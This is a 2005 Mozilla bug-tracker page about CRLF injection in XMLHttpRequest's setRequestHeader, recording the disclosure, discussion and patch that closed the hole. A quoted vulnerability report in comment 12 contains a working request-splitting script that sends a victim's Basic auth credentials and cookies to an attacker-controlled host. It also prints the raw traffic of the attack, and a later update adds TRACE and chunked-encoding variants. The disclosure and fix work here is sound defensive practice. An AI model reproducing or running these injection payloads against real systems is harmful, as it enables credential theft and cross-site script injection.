Closed Bug 297078 Opened 19 years ago Closed 19 years ago

setRequestHeader can be exploited using newline characters

Categories

(Core :: Networking: HTTP, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

RESOLVED FIXED
mozilla1.8alpha4

People

(Reporter: web, Assigned: darin.moz)

References

Details

(Keywords: fixed-aviary1.0.7, fixed1.7.12, fixed1.8, Whiteboard: [sg:fix] [ready to land])

Attachments

(4 files, 1 obsolete file)

Mozilla allows the value field of XMLHttpRequest setRequestHeaders to contain 
newline characters.  A malicious author could use two newline characters to end 
the headers sent by the client.  Thus, the author has the ability to send 
arbitrary data to the server.  On a shared host, this could lead to data theft 
situations.

I have not tested whether Mozilla allows newline characters in the the header 
field of setRequestHeader, but the same problem would occur there.  Furthermore, 
similiar vulnerabilites could occur if Mozilla allows linefeed and carriage 
return characters in header and value fields, as well as colon characters in the 
header fields.  I have not tested any of these situations.

I have notified Ian Hickson to update the WHAT WG spec.
Spec updated to match IE:

# If the header or value arguments contain any U+000A or U+000D characters, or if 
# the header argument contains any U+0020 or U+003A charecters, does nothing.
> Thus, the author has the ability to send arbitrary data to the server.

That's the case with XMLHttpRequest anyway, no?  See
http://lxr.mozilla.org/seamonkey/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#221

I do think that throwing on newline chars in a header may not be a bad idea, but
I think that should happen in nsHttpChannel...
I suppose "Thus, the author has the ability to send arbitrary header data on 
behalf of the client to the server," would be more accurate.
How is that different from what you first said?  Of course all sending here is
done on behalf of the client.  Again, arbitrary data can be sent even if
setRequestHeader is disabled completely.
Can we remove the security flag? I don't see the victim here, unless you're
hacking a server with malformed requests--but that could be done much more
directly and would be a server problem.
(In reply to comment #4)
> How is that different from what you first said?  Of course all sending here is
> done on behalf of the client.  Again, arbitrary data can be sent even if
> setRequestHeader is disabled completely.

It's not just any data; it's header data.  The author can completely replace the 
headers sent by the client.  For instance, the author can add a second Host 
header or create a second GET request (using any Host header) embedded in the 
first.
So, maybe in conjunction with a proxy server you might be able to make
XMLHttpRequest issue requests to other domains.  Do you have a proof of concept?
 Is there anyway this can be used to load content from other domains?  (Probably
not, as it would seem that XMLHttpRequest would only care about the response to
the first request.)
Darin, no need for the proxy server if the two domains share an IP (not that
uncommon out there with multihosting situations).
In a shared-hosting scenario, the "other domain" might be at the same IP. Not
likely to be much of an issue though unless the other domain does IP-based
authorization (like the W3C does).
No, I don't have a proof of concept.  It looks like Boris and Ian answered the 
rest of your question.
This is clearly a bug, and it should be easy to fix, but Dan and I discussed its
severity as a security hole anyway.

I think this bug should be left hidden because there are many ways it could be
exploited (by making Firefox disagree with a proxy, load balancer, or shared
server about what's going on).  See
http://it.slashdot.org/article.pl?sid=05/06/12/1433206 for exploit ideas.  The
most likely victim is confidential information on an intranet where some hosts
display untrusted HTML content.

Btw, does setRequestHeader allow adding a "Host:" header?
Flags: blocking1.8b4?
Flags: blocking-aviary1.0.7?
Whiteboard: [sg:fix]
(In reply to comment #11) 
> Btw, does setRequestHeader allow adding a "Host:" header?

Yes. security@mozilla.org just received this today: 

================================================================
			 Vulnerability Report
================================================================

Software: Mozilla browsers (possibly all variants)

Versions known to be affected:
	 Mozilla Suite 1.7.8 (Linux)
	 Mozilla Firefox 1.0.4 Japanese (Windows)

Severity: very high

Kind of vulnerability: 

  "Request Splitting Attack" caused by XMLHTTP object.
    It causes credential steal, external script injection
    to any websites.

Summary:

  A vulnerability for "Request Splitting Attack" exists in 
  Mozilla's implementation of the XMLHTTP object.

  A malicious web page can split a HTTP request by injecting
  CRLFs into request headers generated by XMLHTTP object.
  By doing this, the attacker can redirect an request for
  other websites (hereafter "target" page) and steal access
  credentials (including Basic authentication passwords) and cookies.
  The attack can also effectively replace the data of the target page
  by any data, which leads to further cross-site scripting attacks.

  Target webpages and the attack webpage must be served either from
  the same IP address, or from the same proxy server.  The latter case
  means that "almost any sites" can be attacked when the victim user
  uses a proxy server.


Exploit Example:

  Assume the following domains exist:
    M is the domain containing a malicious page.
    V is the domain which contains a target web page.
    R is the domain which receives the stolen credential.

    These can be either the same domain or different, but
    contents of M, V, and R must either
      (1) be served from the same IP address, or
      (2) be served from the same proxy server.

  Then,

    A victim user visits the page hosted in M, which contains
    a script like the following:

        <script>
         xmlhttp = new XMLHttpRequest();
         xmlhttp.open("GET", "/any_url",true);
         xmlhttp.setRequestHeader("Test", "hoge\r\n\r\nPOST http://R/record.cgi
HTTP/1.0\r\nContent-Length: 500");
	 xmlhttp.onreadystatechange=function() {
	   if (xmlhttp.readyState==4) {
	     document.location = "http://V/password/protected/site/"
	   }
	 }
         xmlhttp.send(null)
        </script>

    The user redirected to the target page on V. However, the request to
    V is actually sent to the host R as a content of a injected POST 
    request. Thus, the authentication passwords and cookies for the
    site V is stolen by R.

    Further more The contents returned from http://R/record.cgi is
    treated by the browser as a data came from V.


Cause:

    Double CRLFs embedded in the request becomes
    a record-separator of pipelined HTTP requests.
    The web server handles the POST request embedded in the
    string, and treat the next request to V as a data part.

    The following is an example of communication between victim's
    browser and a proxy server.

     1	>> GET http://M/any_url HTTP/1.1
     2	>> Host: M
     3	>> User-Agent: Mozilla/5.0 (...) ...
     4	>> Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
     5	>> Accept-Language: ja,en;q=0.5
     6	>> Accept-Encoding: gzip,deflate
     7	>> Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7
     8	>> Keep-Alive: 300
     9	>> Proxy-Connection: keep-alive
    10	>> Test: hoge
    11	>> 
    12	>> POST http://R/record.cgi HTTP/1.0
    13	>> Content-Length: 500
    14	>> Pragma: no-cache
    15	>> Cache-Control: no-cache
    16	>> 
    17	    << HTTP/1.1 404 Not Found
    18	    << Date: Wed, 20 Jul 2005 09:35:47 GMT
    19	    << Server: Apache
    20	    << Content-Length: 299
    21	    << Content-Type: text/html; charset=iso-8859-1
    22	    << Via: 1.1 proxy
    23	    << 
    24	    << (299 bytes omitted)
    25	>> GET http://V/password/protected/site/ HTTP/1.1
    26	>> Host: V
    27	>> User-Agent: Mozilla/5.0 (...) ...
    28	>> Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    29	>> Accept-Language: ja,en;q=0.5
    30	>> Accept-Encoding: gzip,deflate
    31	>> Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7
    32	>> Keep-Alive: 300
    33	>> Proxy-Connection: keep-alive
    34	>> Referer: http://M/attack.html
    35	>> Authorization: Basic dGVzdDp0ZXN0
    36	>> 
    37	    << HTTP/1.1 200 OK
    38	    << Date: Wed, 20 Jul 2005 09:35:47 GMT
    39	    << Server: Apache
    40	    << Connection: close
    41	    << Content-Type: text/plain
    42	    << 
    43	    << Content-Length=500
    44	    << Request Body:
    45	    << GET http://V/password/protected/site/ HTTP/1.1
    46	    << Host: V
    47	    << User-Agent: Mozilla/5.0 (...) ...
    48	    << Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    49	    << Accept-Language: ja,en;q=0.5
    50	    << Accept-Encoding: gzip,deflate
    51	    << Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7
    52	    << Keep-Alive: 300
    53	    << Proxy-Connection: keep-alive
    54	    << Referer: http://M/attack.html
    55      << Authorization: Basic dGVzdDp0ZXN0

    The browser send lines 1--16 as a first request.
    However, since double-CRLFs are inserted at 10--11,
    the proxy server only treats ll. 1--11 as the first request,
    and treats ll. 12--16 as a header for the second request.

    Lines 17--24 is the first response from M.
    Upon receiving this response, the browser send the second 
    request to V, at lines 25--36.  However, proxy treats these
    as the body of the POST request starts from line 12.
    Therefore, these data is actually forwarded to R, not to V.
    The access credential included in line 35 (user test/pass test)
    is sent to R, as you can see in the reply from R at line 55.
    
    From the browser's view, the reply from R, lines 37--55, seems to
    the response from V.  Therefore, R can insert any script or
    phishing data as if it was sent from V.


Mitigating Factors and/or Workarounds:

    If proxy is not used, the attack requires both attacker 
    and target pages hosted in the same IP address.
    This limits exploits to virtual-domain settings where
    multiple users share the same web server.

    If HTTP keep-alive is disabled, the two requests to
    M and V is always sent on the different connection,
    which prevents this attack.


Possible Fix:

    Any control codes, or at least all CRs and LFs, shall be rejected
    for headers (both names and values) sent via XmlHttp API.  SPACEs
    or COLONs shall also be rejected for header names.

    Furthermore, the XmlHttp object shall not be be allowed to replace
    the following headers.  These can also be used to redirect
    requests and/or to break HTTP conversations.
    
       Content-Length
       Host
       Connection
       Proxy-connection (non-standard)

    Especially, depending on the behavior of the web/proxy servers,
    the Content-Length header can be used for the same kind of attacks
    even without embedding malicious CRLFs.  I also noticed that
    Mozilla allows to modify the "Host" header, which enables
    redirecting a request to the virtual host on the same server.

    In addition, the following headers should not be overwritable.

       Referer
       Date
       Upgrade
       Via


Note:

  - This vulnerability is related with well-known server-side
    vulnerability called "HTTP response splitting", but
    this one is more powerful because it is performed on the
    client-side.

    The method stealing user secret credentials is related with
    recently-reported "HTTP request smuggling" attack.

  - Microsoft Internet Explorer correctly implements this by
    silently ignoring all ill-formatted headers.

  - A report about this vulnerability is also sent to JPCERT/CC,
    Japan Computer Emergency Response Team Coordination Center.
Flags: blocking1.8b4?
Flags: blocking1.8b4+
Flags: blocking1.7.11+
Flags: blocking-aviary1.0.7?
Flags: blocking-aviary1.0.7+
I think this should be solved at the HTTP level.  There's no reason for a HTTP
channel to allow a malformed request header to be set.
Assignee: general → darin
Component: DOM → Networking: HTTP
QA Contact: ian → networking.http
Severity: normal → critical
Status: NEW → ASSIGNED
Target Milestone: --- → mozilla1.8alpha4
> # If the header or value arguments contain any U+000A or U+000D characters, or 
> # if the header argument contains any U+0020 or U+003A charecters, does nothing.

Why restrict spaces and colons?  That seems pretty broken to me.  Why can't I
write a request header like: "Foo: x, y"?
Attached patch v1 patchSplinter Review
Candidate patch.  It occured to me that SetRequestMethod can also be exploited
to affect the Request-URI.  So, I created a function that checks for valid HTTP
tokens as defined by RFC 2616.	I run that function against any given Method or
Header field-name.  The only restriction placed on field-value is that it not
contain CR or LF.  I noticed that RFC 2616 actually permits CR and LF provided
that they appear in quoted strings or are used to continue a header value on a
newline.  I think it's reasonable to disallow those use cases in our API. 
Hopefully, it won't break any users.
Attachment #190106 - Flags: review?(bzbarsky)
Comment on attachment 190106 [details] [diff] [review]
v1 patch

should stuff like \0, or really any CTL character, maybe be disallowed in
header values too?
> should stuff like \0, or really any CTL character, maybe be disallowed in
> header values too?

How might those be used to cause harm?  I can only really imagine that they
might cause the header value to be truncated or somehow corrupted.

In addition to this patch, we might want to restrict which headers may be
modified.  For example, it probably would be good to restrict the Host header.
I'll try to get to this ASAP, but that might end up being up to a week... :(
(In reply to comment #17)
> In addition to this patch, we might want to restrict which headers may be
> modified.  For example, it probably would be good to restrict the Host header.

See comment 12 for some more headers that should be restricted.
Some of the header restrictions are probably better placed in the XMLHttpRequest
code.  Some can be done at the HTTP level, but we need to take care not to
overly restrict our HTTP API since that also restricts what fully privileged
code may do.
\0 is always a bit scary, though I don't know if we've actually had any security
exploits from it ever. What tends to happen is that some functions honor the
length parameter when using a string, while other just use a char* and get a
truncated string. If the security check is done on one of these values and the
actual executing code uses the other then there can be a security exploit.

So if it doesn't matter much either way from a functionality point of view I
think it might be good to restrict \0.


Another thing I thought of: You mention that values can be split up into several
lines if quoted. We have to ensure that something we intend to be a terminated
value doesn't end up 'leaking' onto the next line eating up the next header when
parsed by the server.
But reading rfc 822 it seems like as long as each header starts with a non-LWSP
char it will be parsed as a distinct header. And you seem to enforce this in the
headername. So this attack should be covered too, right?
>> # If the header or value arguments contain any U+000A or U+000D characters, 
>> # or if the header argument contains any U+0020 or U+003A charecters, does 
>> # nothing.
> 
> Why restrict spaces and colons?  That seems pretty broken to me.  Why can't I
> write a request header like: "Foo: x, y"?

You can. There are two arguments, header and value. They get sent as:

   header: value

The "header" part is not allowed to have spaces or colons because otherwise you
could set it to something like "Host: evil.example.com" and the value to "80"
and we would send something like:

   Host: evil.example.com: 80

...which is clearly not good, and wouldn't get caught by a security check for
the "Host" header.

The spec also details which headers should be allowed or disallowed, see:

   http://whatwg.org/specs/web-apps/current-work/#setrequestheader

I haven't updated it to take into account the comments sent over the last few
weeks though, sorry.
Attachment #190106 - Flags: superreview+
Attachment #190106 - Flags: review?(bzbarsky)
Attachment #190106 - Flags: review+
Attachment #190106 - Flags: approval1.8b4?
Ian: I believe I was confused by your use of the term "header argument".  At any
rate, your explanation above matches my thinking.  You will notice that my patch
implements a strict check on the set of characters allowed in a header name.  I
basically implemented the BNF for "token" defined by RFC 2616.

Right now, I am only disallowing U+000A and U+000D in the header value.  Jonas
makes the case for disallowing U+0000 as well.  I will add that to the patch
assuming that no one objects.
Comment on attachment 190106 [details] [diff] [review]
v1 patch

a=dveditz
Attachment #190106 - Flags: approval1.8b4? → approval1.8b4+
The advisory in comment #12 is from Yutaka Oiwa
Yutaka Oiwa sent additional information:
> I have two updates to the original report:
> 
> 1) Transfer-encoding: header is also found to cause malformed HTTP header.
> 
>    HTTP 1.1 specifies that Content-length should be ignored when
>    "Transfer-encoding: chunked" is given.  However, Mozilla generates
>    a request like following:
> 
> POST /a HTTP/1.1
> Host: localhost
> User-Agent: Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.7.8) Gecko/20050513
Debian/1.7.8-1
> Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: ja,en;q=0.5
> Accept-Encoding: gzip,deflate
> Accept-Charset: EUC-JP,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Connection: keep-alive
> Transfer-Encoding: chunked
> Content-Type: text/xml
> Content-Length: 113
> Pragma: no-cache
> Cache-Control: no-cache
> 
> 0
> 
> POST /~yutaka/cgi-bin/test2.cgi?exploit=yes HTTP/1.1
> Host: hostname.domain.name.jp
> Content-Length: 500
> 
> 
>    This is another form of splitted requests, because the request actually
>    ends at the first line "0 CR LF CR LF". Note that Transfer-Encoding is
>    a general header which can appear both in requests and responses,
>    although it is not likely to be needed in requests.
> 
>    Add this header to the "dangerous headers" list provided in the
>    "Possible Fix" section in the original report.
> 
> 2) I have also found another, related security bug (or at least a "bad 
>    design"), which might be called "Intra-site TRACE vulnerability."
> 
>    Assume that http://host/~a/secret/ is password-protected.
>    The page owner of http://host/~b/ can generate an XMLHTTP request
>    to http://host/~a/secret/ with the http "TRACE" method,
>    to steal the hidden password.
> 
>    To prevent this, either of these two fixes is needed:
> 
>      1) stop sending any confidential information on XMLHTTP request, or
>      2) forbid the TRACE method explicitly for XMLHTTP requests.
> 
>    Microsoft Internet Explorer and Opera seems to implement the
>    solution 2).
Whiteboard: [sg:fix] → [sg:fix] [ready to land]
US CERT is tracking this as VU#880616

I think I should probably file a separate bug on making XMLHttpRequest restrict
the set of headers that it allows its consumer to set.  We don't want to make
the HTTP code prevent the setting of Content-Length for example.
fixed-on-trunk w/ '\0' added to the set of characters disallowed in header values.

I'll be posting a patch for the 1.7 branch shortly.
Status: ASSIGNED → RESOLVED
Closed: 19 years ago
Resolution: --- → FIXED
GCC kindly complained about this line:

> if (*start > 127 || !kValidTokenMap[*start])


I wish I had compiled with GCC before commiting the patch.  Because |*start| is
signed, it will never be greater than 127 in value.  I should cast to an
unsigned char instead before performing this comparison.
Attachment #190616 - Flags: superreview+
Attachment #190616 - Flags: review+
I went ahead and checked in the follow-up patch on the trunk.
Attachment #190617 - Flags: approval1.7.11?
Attachment #190617 - Flags: approval-aviary1.0.7?
I filed bug 302263 to cover the problem of allowing the setting of
'Transfer-Encoding: chunked' and 'Host: foo'
I'm not sure whether NUL causes problem or not, 
and I don't know about the internal of Mozilla sources, 
but

+    if (flatValue.FindCharInSet("\r\n\0") != kNotFound)
                                 ^^^^^^^^
This string seems to be a bad one in C++.

P.S. Can I see discussion on bug 302263, too?
(In reply to comment #35)

> P.S. Can I see discussion on bug 302263, too?

I'd also like to see the discussion there.
> +    if (flatValue.FindCharInSet("\r\n\0") != kNotFound)
>                                  ^^^^^^^^
> This string seems to be a bad one in C++.

Yes, that is an error.  Thank you for pointing it out.  I will make a correction.
Attachment #190733 - Flags: superreview?(bzbarsky)
Attachment #190733 - Flags: review?(bzbarsky)
Attachment #190617 - Attachment is obsolete: true
Attachment #190617 - Flags: approval1.7.11?
Attachment #190617 - Flags: approval-aviary1.0.7?
Attachment #190735 - Flags: approval1.7.12?
Attachment #190735 - Flags: approval-aviary1.0.7?
Comment on attachment 190733 [details] [diff] [review]
v1 follow-up patch (fix '\0' issue)

Looks good; not sure whether this is better than just doing a FindChar('\0'),
but either way.
Attachment #190733 - Flags: superreview?(bzbarsky)
Attachment #190733 - Flags: superreview+
Attachment #190733 - Flags: review?(bzbarsky)
Attachment #190733 - Flags: review+
fix for '\0' checked in on trunk
Flags: blocking1.7.11+ → blocking1.7.12+
To be fixed as written we also need to fix bug 302263

The HTTP TRACE issue should be split into a separate bug.
Depends on: 302263
I don't understand the TRACE issue.  I presume the problem is that the request
sent to http://host/a/ can be seen by http://host/b/, but why is that a concern?
 It only works on the same host.  We already allow the page http://host/b/ to
load the page http://host/a/ and walk its DOM.  While it's true that that
doesn't reveal the password to the site, http://host/b/ could also just
challenge the browser with the same Basic auth realm, and it would then receive
the same password.  All it would need to do is issue GET requests to do this, so
why is TRACE more of a risk?
Is the problem perhaps that TRACE would reveal the user's proxy password?
(In reply to comment #43)
http://host/b/ could also just
> challenge the browser with the same Basic auth realm, and it would then receive
> the same password.  All it would need to do is issue GET requests to do this, so
> why is TRACE more of a risk?

Please read between lines where I put tildes before "a" and "b" :-)

Good multi-user web servers (e.g. Apache) do not reveal passwords to its
CGIs, to prevent such way of password steal.  So your story of attack 
does not succeed. TRACE method does disables this protection.
Of course, there is always a scripting issue regarding multi-user web server,
but permanent attack such as password steal shall be considered more 
risky than a temporary attack such as XSS.

In other word, an Intra-site Trace is more risky than local scripting,
as Cross-site Trace
(http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf) is
more risky than XSS.
(In reply to comment #44)
> Is the problem perhaps that TRACE would reveal the user's proxy password?

Oh, Yes, it is possible...
Sending "Max-Forwards: 0" enables to steal a proxy password...
(In reply to comment #46)
> > Is the problem perhaps that TRACE would reveal the user's proxy password?
> 
> Oh, Yes, it is possible...
> Sending "Max-Forwards: 0" enables to steal a proxy password...

As I succeed to exploit this vulnerability, 
I filed this as a separate bug 302489 .
Please find an appropriate layer to apply a fix.
Flags: blocking-aviary1.0.7?
> ------- Additional Comment #27 From Rafael Ebron  2005-07-26 13:36 PDT 
[reply] -------
>
> US CERT is tracking this as VU#880616



need to follow up with CERT when the fix gets released.  a number is assigned
but the report is not public yet
http://search.us-cert.gov/query.html?col=csalrts&col=csbulls&col=cstips&col=feddocs&col=pressrm&col=tcsalrts&col=vulnotes&col=xtradocs&qt=VU%23880616&charset=iso-8859-1

Attachment #190735 - Flags: approval1.7.13?
Attachment #190735 - Flags: approval1.7.13+
Attachment #190735 - Flags: approval-aviary1.0.8?
Attachment #190735 - Flags: approval-aviary1.0.8+
Flags: blocking1.7.13+
Flags: blocking1.7.12?
Flags: blocking1.7.12+
Flags: blocking-aviary1.0.8+
Flags: blocking-aviary1.0.7?
Flags: blocking-aviary1.0.7+
Landed attachment 190735 [details] [diff] [review] on MOZILLA_1_7_BRANCH and AVIARY_1_0_1_20050124_BRANCH,
and verified that it's the same as a join from revision 1.252 to 1.255.
Attachment #190735 - Flags: approval1.7.13+
Attachment #190735 - Flags: approval1.7.12+
Attachment #190735 - Flags: approval-aviary1.0.8+
Attachment #190735 - Flags: approval-aviary1.0.7+
dbaron: thanks for landing the patch.
ideas for testing around xmlhttprequest in general wanted....


http://developer.apple.com/internet/webcontent/xmlhttpreq.html
http://developer.apple.com/internet/webcontent/XMLHttpRequestExample/example.html

user contributed notes under
http://www.xulplanet.com/references/objref/XMLHttpRequest.html

google toolbar extension
mozilla amazon browser http://www.faser.net/mab/

check with marcio and bclary for more ideas
any thoughts on good Ajax test suites?
Group: security
keyword cleanup
Keywords: fixed1.8
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: